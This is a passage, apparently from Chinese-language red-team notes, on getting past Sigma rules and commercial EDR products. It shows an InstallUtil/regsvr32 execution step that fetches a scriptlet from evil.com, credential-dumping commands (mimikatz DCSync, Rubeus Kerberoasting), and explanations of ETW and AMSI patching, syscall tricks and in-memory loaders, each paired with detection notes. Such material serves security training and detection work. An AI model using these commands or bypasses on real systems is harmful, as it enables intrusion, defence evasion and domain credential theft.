├─ > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
└─ 进程为 InstallUtil.exe

方案C: 通过 Regsvr32 执行
├─ > regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
└─ 进程为 regsvr32.exe（但已有专门 Sigma 规则）

案例 2: 绕过 "LSASS Access" 检测规则

目标: 在启用 Credential Guard + Sysmon Event 10 监控 + EDR 的环境中获取域凭据。

检测规则覆盖:
├─ Sigma: LSASS Memory Access (Sysmon Event 10)
├─ Sigma: Credential Dumping Tool Detected
├─ EDR: ProcessAccess to lsass.exe
├─ Windows Credential Guard: 阻止直接内存读取
└─ PPL (Protected Process Light): lsass 运行在保护模式

绕过策略: 根据保护级别选择方案

环境评估:
├─ 检查 Credential Guard: Get-ComputerInfo | Select DeviceGuard*
├─ 检查 LSA Protection: reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
└─ 检查 Sysmon Event 10 配置: sysmon -c | findstr ProcessAccess

方案选择矩阵:
┌────────────────────────────┬───────────────────────────┐
│ 环境条件                    │ 推荐方案                   │
├────────────────────────────┼───────────────────────────┤
│ 无 CG + 无 PPL + 无 Sysmon │ 直接 Mimikatz            │
│ 有 Sysmon Event 10         │ Handle Duplication        │
│ 有 PPL                     │ 驱动绕过 / 替代方案       │
│ 有 Credential Guard        │ 完全放弃 lsass → 其他途径 │
└────────────────────────────┴───────────────────────────┘

Credential Guard 环境的替代凭据获取:

方案1: DCSync（需要域管理员权限或 Replication 权限）
├─ 不接触 lsass
├─ 通过 DRSUAPI 协议从 DC 直接复制 NTDS 数据
├─ > mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"
└─ 检测: EventID 4662 + 特定 GUID → 需要从已有管理员 session 执行

方案2: Kerberoasting（需要任意域用户）
├─ 不接触 lsass
├─ 请求 SPN 对应的 TGS 票据 → 离线破解
├─ > Rubeus.exe kerberoast /outfile:tickets.txt
└─ 检测: EventID 4769 Type 0x17 → 大量 RC4 票据请求

方案3: NTDS.dit 提取（需要 DC 访问权限）
├─ Volume Shadow Copy → 复制 NTDS.dit 和 SYSTEM hive
├─ 离线使用 impacket-secretsdump 解析
└─ 检测: EventID 4688 + vssadmin/wmic shadowcopy

方案4: 其他明文凭据位置
├─ DPAPI: 浏览器/RDP/WiFi 保存的密码
├─ GPP: Group Policy Preferences 中的密码（老域环境）
├─ Vault: Windows Credential Manager
├─ Azure AD: 如有混合部署，Token/PRT
└─ 服务账户: web.config / 连接字符串 / 环境变量

---

7. 检测规则研究资源

EDR 检测机制与规避逻辑分析

---

1. EDR 架构与检测层

1.1 现代 EDR 检测架构

EDR 检测层次（从内核到用户态）:

┌─────────────────────────────────────────────┐
│               Cloud Analysis                 │
│  (文件信誉/AI模型/威胁情报/沙箱分析)         │
├─────────────────────────────────────────────┤
│           Behavioral Analysis Engine         │
│  (行为链分析/机器学习/异常检测)              │
├─────────────────────────────────────────────┤
│              AMSI Integration                │
│  (脚本内容扫描: PS/VBS/JS/.NET)             │
├─────────────────────────────────────────────┤
│           ETW Providers (内核遥测)           │
│  (Microsoft-Windows-Threat-Intelligence)     │
├─────────────────────────────────────────────┤
│         User-Mode Hooks (ntdll.dll)          │
│  (NtWriteVirtualMemory/NtCreateThreadEx/...) │
├─────────────────────────────────────────────┤
│         Minifilter Drivers (文件系统)        │
│  (文件创建/修改/删除监控)                    │
├─────────────────────────────────────────────┤
│     Kernel Callbacks (进程/线程/对象)        │
│  (PsSetCreateProcessNotifyRoutine)           │
│  (PsSetCreateThreadNotifyRoutine)            │
│  (ObRegisterCallbacks)                       │
└─────────────────────────────────────────────┘

1.2 Kernel Callbacks

内核回调是 EDR 最底层的检测机制:

PsSetCreateProcessNotifyRoutine:
├─ 功能: 每当有进程创建/销毁时通知 EDR 驱动
├─ 数据: 进程 PID/PPID/ImageFileName/CommandLine
├─ 红队影响: 所有进程创建都被记录，无法通过用户态绑架
└─ 绕过难度: 极高（需要内核态操作）

PsSetCreateThreadNotifyRoutine:
├─ 功能: 每当有线程创建时通知
├─ 数据: 线程 TID/起始地址/所属进程
├─ 红队影响: CreateRemoteThread / APC 注入可被检测
└─ 关注: 线程起始地址不在已知模块中 → 异常

ObRegisterCallbacks:
├─ 功能: 监控对象句柄操作（进程/线程）
├─ 数据: 谁打开了谁的句柄，请求了什么权限
├─ 红队影响: OpenProcess(lsass) 的权限请求被记录
├─ 应用: LSASS 保护的核心机制
└─ 绕过: Handle duplication / 驱动级操作

CmRegisterCallbackEx:
├─ 功能: 注册表操作回调
├─ 数据: 注册表键值的创建/修改/删除
├─ 红队影响: 持久化（Run Key/Service）被记录
└─ 绕过: 使用替代持久化方式

1.3 ETW Providers

Event Tracing for Windows (ETW) — EDR 的主要遥测源:

Microsoft-Windows-Threat-Intelligence:
├─ 最关键的 ETW Provider（PPL 保护）
├─ 提供: 内存操作审计（VirtualAlloc/WriteProcessMemory）
├─ 数据: 源进程/目标进程/操作类型/内存区域
├─ 红队影响: 进程注入、shellcode 加载都被记录
└─ 绕过难度: 极高（Provider 运行在 PPL 中）

Microsoft-Windows-Kernel-Process:
├─ 进程创建/终止遥测
├─ 补充 Process Notify Callback
└─ 包含完整的命令行和环境变量

Microsoft-Windows-Kernel-File:
├─ 文件 I/O 操作
├─ 文件创建/修改/删除/重命名
└─ 补充 Minifilter 监控

Microsoft-Windows-DotNETRuntime:
├─ .NET Assembly 加载事件
├─ 关注: Assembly.Load(byte[]) → 内存加载检测
└─ 与 AMSI 配合检测 .NET 恶意程序

Microsoft-Windows-PowerShell:
├─ PowerShell ScriptBlock Logging (Event 4104)
├─ 记录完整的脚本内容（解混淆后）
└─ Module Logging / Transcription

1.4 User-Mode Hooks

EDR 用户态 Hook 机制:

原理:
├─ EDR 在进程加载时修改 ntdll.dll 中的函数入口
├─ 插入 JMP 指令跳转到 EDR 的监控 DLL
├─ EDR 检查参数后决定: 放行 / 告警 / 阻止
├─ 然后调用原始函数执行操作
└─ 几乎所有 EDR 都 hook ntdll.dll

常被 Hook 的函数:
├─ NtWriteVirtualMemory → 检测进程注入
├─ NtCreateThreadEx → 检测远程线程创建
├─ NtMapViewOfSection → 检测 section mapping 注入
├─ NtAllocateVirtualMemory → 检测 RWX 内存分配
├─ NtProtectVirtualMemory → 检测内存权限修改
├─ NtQueueApcThread → 检测 APC 注入
├─ NtCreateFile → 检测文件操作
├─ NtOpenProcess → 检测进程访问（lsass）
└─ NtSuspendThread / NtResumeThread → 检测线程操纵

Hook 检测方法:
├─ 读取 ntdll.dll 函数入口字节
├─ 正常入口: 4C 8B D1 B8 XX XX 00 00 (mov r10,rcx; mov eax,SSN)
├─ 被 Hook: E9 XX XX XX XX (JMP to EDR DLL) 或 FF 25 (indirect JMP)
└─ 如果不是标准 syscall stub → 被 Hook

1.5 AMSI (Anti-Malware Scan Interface)

AMSI 扫描覆盖:
├─ PowerShell 脚本 (ScriptBlock)
├─ VBScript / JScript
├─ .NET Assembly (4.8+ / .NET Core)
├─ Windows Script Host (WSH)
├─ Office VBA 宏 (Office 365)
└─ WMI (部分场景)

AMSI 调用链:
├─ 脚本引擎执行前调用 AmsiScanBuffer()
├─ amsi.dll → 将内容发送给注册的 AMSI Provider
├─ Provider (如 Windows Defender) → 扫描内容
├─ 返回结果: AMSI_RESULT_CLEAN / AMSI_RESULT_DETECTED
└─ 检测到 → 阻止执行

关键函数:
├─ AmsiInitialize() → 初始化 AMSI 会话
├─ AmsiOpenSession() → 打开扫描会话
├─ AmsiScanBuffer() → 扫描内存缓冲区 ← 核心
├─ AmsiScanString() → 扫描字符串
└─ AmsiCloseSession() → 关闭会话

---

2. 主流 EDR 特征

2.1 CrowdStrike Falcon

架构:
├─ 内核驱动: csagent.sys (Kernel-level sensor)
├─ 用户态: CSFalconService.exe + CSFalconContainer.exe
├─ 云端: 所有遥测上传到 Falcon Cloud 分析
├─ 特点: 轻量本地 agent + 重度云端分析

检测重点:
├─ 进程注入（所有形式）
├─ 凭据访问（LSASS 保护）
├─ 横向移动行为链
├─ Fileless 攻击（内存中的 PE/Shellcode）
├─ 脚本内容分析（PowerShell/VBS）
└─ 自定义 IOA (Indicators of Attack) 规则

已知特点:
├─ 内核级监控 → 用户态绕过无效
├─ 云端 AI 模型 → 新样本可能延迟检测
├─ 防篡改机制 → 难以卸载/禁用
├─ 进程树分析深度大
└─ 对 Direct Syscall 有一定检测能力

2.2 Microsoft Defender for Endpoint (MDE)

架构:
├─ 内核: WdFilter.sys (Minifilter) + WdNisDrv.sys
├─ 用户态: MsMpEng.exe (Antimalware Service)
├─ ETW: 重度依赖 ETW Provider 数据
├─ AMSI: 深度集成（PowerShell/VBS/.NET/Office）
├─ 云端: Microsoft Threat Intelligence

检测重点:
├─ AMSI 集成 → 脚本内容扫描最强
├─ ETW Threat Intelligence Provider → 内存操作监控
├─ ASR Rules (Attack Surface Reduction)
│   ├─ Block Office child processes
│   ├─ Block credential stealing from LSASS
│   ├─ Block process creation from WMI
│   └─ Block untrusted/unsigned processes from USB
├─ Tamper Protection → 防止关闭 Defender
└─ Smart Screen → 文件信誉检查

已知特点:
├─ ETW 数据最丰富（微软自家系统）
├─ AMSI bypass → 必须首先绕过
├─ ASR Rules → 限制常见攻击路径
├─ 与 Azure AD / Intune 深度集成
└─ 更新频繁 → 检测能力持续增强

2.3 SentinelOne

架构:
├─ 内核驱动: 进程/文件/网络监控
├─ 用户态 Agent: SentinelAgent.exe
├─ 本地 AI: Static AI (文件分析) + Behavioral AI (运行时)
├─ 特点: 自主决策（不强依赖云端）

检测重点:
├─ Static AI: PE 文件分析（熵值/结构/导入表/字符串）
├─ Behavioral AI: 运行时行为序列分析
├─ Storyline: 自动构建攻击链时间线
├─ 回滚: 可以回滚恶意操作的更改
└─ Deep Visibility: 详细的端点遥测

已知特点:
├─ 本地 AI 模型 → 无需联网即可检测
├─ 行为引擎较强 → 即使文件无特征也能检测行为
├─ 回滚能力 → 加密/修改文件可被恢复
├─ Storyline → 攻击链自动关联
└─ 对 Living-off-the-Land 有专门检测

2.4 Carbon Black (VMware)

架构:
├─ 内核驱动: cbk7.sys / cbk8.sys
├─ 用户态: cb.exe / RepMgr.exe
├─ 特点: 事件流式分析，强猎杀能力

检测重点:
├─ 进程事件流 → 完整的进程行为记录
├─ 二进制分析 → 信誉查询 + 自定义规则
├─ 威胁猎杀 → 强大的查询语言
├─ 自定义 watchlist → IOC 实时匹配
└─ Live Response → 实时远程取证

已知特点:
├─ 事件记录全面 → 猎杀友好
├─ 自定义规则灵活 → 可针对特定 TTP
├─ 响应能力强 → 实时隔离/取证
└─ 对内存中的操作检测依赖行为规则

2.5 Elastic Security

架构:
├─ Agent: Elastic Agent (beats 家族)
│   ├─ Filebeat → 文件/日志监控
│   ├─ Auditbeat → 系统审计
│   └─ Endpoint Security → EDR 功能
├─ Detection Rules: 开源规则库 (github.com/elastic/detection-rules)
├─ Elasticsearch + Kibana → 数据存储和查询
└─ 特点: 开源规则，可审计检测逻辑

已知特点:
├─ 检测规则公开 → 红队可以预研每条规则
├─ 基于 Elasticsearch 查询 → 规则逻辑透明
├─ 社区贡献规则 → 持续增长
├─ 灵活性高但部署复杂
└─ 行为检测依赖规则质量

---

3. 检测逻辑类型

3.1 Signature-Based (签名检测)

基于已知特征的匹配:
├─ YARA 规则: 文件/内存字节序列匹配
├─ Hash 匹配: SHA256/MD5 黑名单
├─ 导入表 (Imphash): 可疑 API 组合
├─ 字符串: 已知恶意字符串/命令

局限性:
├─ 多态/变形恶意软件 → 签名失效
├─ 新样本 → 无签名可匹配
├─ 内存中解密执行 → 磁盘签名无法检测
└─ 每次重新编译 → Hash 变化

3.2 Behavioral (行为检测)

基于行为链和操作序列:

攻击序列检测:
├─ Office → CMD/PowerShell → 网络连接 = 恶意文档
├─ VirtualAlloc(RWX) → WriteProcessMemory → CreateRemoteThread = 注入
├─ 文件创建 → 执行 → 删除 = Dropper
├─ LSASS 访问 + 凭据文件创建 = 凭据窃取
└─ 多主机短时间认证 = 横向移动

异常父子进程:
├─ outlook.exe → cmd.exe / powershell.exe (异常)
├─ svchost.exe → cmd.exe (可能正常也可能异常)
├─ w3wp.exe → cmd.exe (Web Shell 特征)
├─ services.exe → 非系统进程 (服务安装)
└─ WerFault.exe → 未预期的子进程 (Crash 利用)

3.3 Heuristic (启发式检测)

基于统计特征的异常检测:
├─ 文件熵值: > 7.0 → 高度加密/压缩 → 可疑
├─ 打包检测: 已知 packer 签名 (UPX/Themida/VMProtect)
├─ 节区异常: .text 段 RWX 权限 / 非标准节名
├─ 大小异常: 极小或极大的 PE 文件
├─ 数字签名: 无签名/无效签名/自签名
└─ 资源异常: 内嵌可执行文件/脚本

3.4 ML-Based (机器学习)

基于机器学习模型:

Static ML (文件分析):
├─ 输入: PE 结构特征向量
│   (导入函数/节区/熵值/字符串/大小/头部字段)
├─ 模型: 随机森林/梯度提升/神经网络
├─ 输出: 恶意概率分数
└─ 局限: 对新型文件结构可能误判

Behavioral ML (行为分析):
├─ 输入: 时序行为序列
│   (API 调用链/进程操作/网络行为/文件操作)
├─ 模型: LSTM/Transformer/序列分类
├─ 输出: 恶意行为概率
└─ 局限: 训练数据偏差 → Living-off-the-Land 难检测

Anomaly Detection (异常检测):
├─ 建立正常行为基线
├─ 偏离基线 → 标记异常
├─ 如: 用户首次执行 whoami → 异常
└─ 局限: 高误报率，需要长期基线训练

3.5 Telemetry Correlation (遥测关联)

跨端点/跨时间的事件关联:
├─ 同一用户在多台主机认证 → 横向移动
├─ 多台主机出现相同 Hash/Mutex → 蠕虫传播
├─ 时间线分析 → 攻击链重建
├─ 用户行为偏离历史模式 → 账户劫持
└─ 网络流量 + 端点行为联合 → 降低误报

---

4. 规避策略 (红队)

4.1 用户态 Hook Bypass: Direct Syscalls

原理: 跳过 ntdll.dll 中被 hook 的函数，直接执行 syscall 指令

方法 1: SysWhispers / SysWhispers3
├─ 自动生成 syscall stub (ASM)
├─ 编译时嵌入到你的工具中
├─ 运行时直接 syscall → 不经过 ntdll
└─ 风险: syscall 来源地址不在 ntdll → 可被检测

方法 2: HellsGate / HalosGate
├─ 运行时动态解析 syscall number
├─ 从 ntdll.dll 函数字节中提取 SSN
├─ HalosGate: 如果函数被 hook → 从相邻函数推算
└─ 优势: 不硬编码 SSN → 兼容多版本 Windows

方法 3: Indirect Syscalls
├─ 从 ntdll.dll 中找到 syscall;ret 指令地址
├─ 设置好参数后 JMP 到该地址执行
├─ 调用栈看起来来自 ntdll → 绕过栈回溯检测
└─ 当前最佳方案

检测方法:
├─ 栈回溯: syscall 的返回地址不在 ntdll.dll 范围内
├─ InstrumentationCallback: 捕获 syscall 调用
├─ 内核 ETW: TI Provider 不依赖用户态 hook
└─ 代码完整性: 扫描非 ntdll 内存中的 syscall 指令

4.2 ETW Blinding

原理: Patch ETW 相关函数使其不上报事件

方法: Patch EtwEventWrite
├─ 定位: ntdll!EtwEventWrite 函数入口
├─ 操作: 将入口改为 ret (0xC3) → 函数直接返回
├─ 效果: 该进程内的 ETW 事件不再上报
├─ 适用: 用户态 ETW Provider（PowerShell/DotNET）

局限:
├─ 内核态 ETW Provider 不受影响
├─ Microsoft-Windows-Threat-Intelligence → 内核态，无法 patch
├─ Patch 行为本身可能被检测
│   ├─ 内存权限变化（RX → RWX → RX）
│   └─ ntdll 代码完整性检查
└─ 仅影响当前进程，不影响其他进程的 ETW

检测:
├─ 周期性检查 ntdll!EtwEventWrite 完整性
├─ 监控 NtProtectVirtualMemory 对 ntdll 页面的权限修改
└─ ETW 日志突然中断 → 异常信号

4.3 AMSI Bypass

常见 AMSI 绕过方法:

方法 1: Patch AmsiScanBuffer
├─ 定位 amsi.dll!AmsiScanBuffer
├─ 修改函数使其始终返回 AMSI_RESULT_CLEAN
├─ 实现: 将入口改为 xor eax,eax; ret (返回 0 = clean)
└─ 注意: 需要在加载恶意脚本之前 patch

方法 2: Reflection (.NET)
├─ 通过反射修改 AMSI 内部字段
├─ 设置 amsiInitFailed = true → AMSI 认为初始化失败
├─ 后续扫描请求被跳过
└─ PowerShell: [Ref].Assembly... 的各种变体

方法 3: String 混淆
├─ 将恶意字符串分段拼接
├─ 运行时才组装完整命令
├─ AMSI 扫描每段时无恶意特征
└─ 效果: 绕过基于字符串的 AMSI 签名

方法 4: 避免触发 AMSI
├─ 使用编译型语言 (C/C++/Go/Rust) → 不经过脚本引擎
├─ 使用 BOF (Beacon Object Files) → 在 Beacon 进程内执行
├─ 使用 Unmanaged PowerShell → 不加载 System.Management.Automation
└─ 最佳: 完全不使用脚本语言

检测:
├─ 监控 amsi.dll 内存完整性
├─ 监控 NtProtectVirtualMemory 对 amsi.dll 的操作
├─ Event 4104 中出现 AMSI bypass 代码片段
└─ AMSI 日志突然中断 → 异常

4.4 Living-off-the-Land (LOLBAS/LOLBIN)

使用系统自带工具执行恶意操作:

执行类:
├─ msbuild.exe → 执行内联 C# 代码
├─ installutil.exe → 执行 .NET Assembly
├─ regsvr32.exe → 加载远程 SCT 脚本
├─ mshta.exe → 执行 HTA 应用
├─ certutil.exe → 下载文件 / Base64 解码
├─ bitsadmin.exe → 后台下载文件
├─ wmic.exe → 远程执行 / 进程创建
└─ rundll32.exe → 执行 DLL 导出函数

绕过类:
├─ 这些工具被微软签名 → 不触发签名检测
├─ 父子进程关系看起来合法
├─ 但现代 EDR 已有针对性规则
├─ 需要搭配其他技术使用
└─ 参考: lolbas-project.github.io

4.5 In-Memory Only Execution

全程内存执行，不落盘:

技术栈:
├─ Stage 0: 初始 payload (钓鱼/漏洞利用)
│   └─ 在内存中下载 Stage 1
├─ Stage 1: Shellcode Loader
│   ├─ VirtualAlloc → 分配内存
│   ├─ 从 C2 下载加密的 shellcode
│   ├─ 解密到内存
│   └─ 执行 (callback/thread/APC)
├─ Stage 2: C2 Implant
│   ├─ 反射加载到内存
│   ├─ 不创建新文件
│   ├─ 工具通过 BOF/内存加载执行
│   └─ Sleep 期间加密内存
└─ 全过程无文件落盘 → 文件扫描无效

检测:
├─ 内存扫描: 扫描进程内存中的 PE/shellcode
├─ Unbacked memory execution: 代码不属于任何文件映射
├─ RWX 内存区域: 可写+可执行 → 可疑
├─ ETW TI Provider: 内存操作审计
└─ 行为链: 合法进程突然进行网络连接/注入

---

5. 检测与规避的攻防平衡

当前检测趋势 vs 规避方向:

检测趋势:                          规避方向:
├─ 内核级监控增强               → Bring-Your-Own-Driver / 漏洞利用
├─ ETW TI Provider             → 无法从用户态绕过，需改变行为
├─ 栈回溯检测 syscall 来源    → Indirect Syscalls
├─ AMSI 完整性监控             → 不使用脚本语言
├─ 行为链 AI 分析              → 时间分散 + LOLBins + 断开行为链
├─ 云端分析                    → 离线环境操作 / 加密通信
├─ 内存扫描频率增加            → Sleep 加密 (Ekko/Foliage)
└─ 跨端点关联                  → 最小化操作范围 + 时间分散

⛔ 没有银弹 — 成功的规避需要:
├─ 深入了解目标 EDR 的具体检测能力
├─ 在同类 EDR 环境中充分测试
├─ 组合多种技术而非依赖单一方法
├─ 持续跟踪 EDR 更新和新检测能力
└─ 接受: 完全不被检测几乎不可能，目标是延迟检测

---

关联参考

• Sigma/YARA 规则分析与绕过 → detection-rules-bypass.md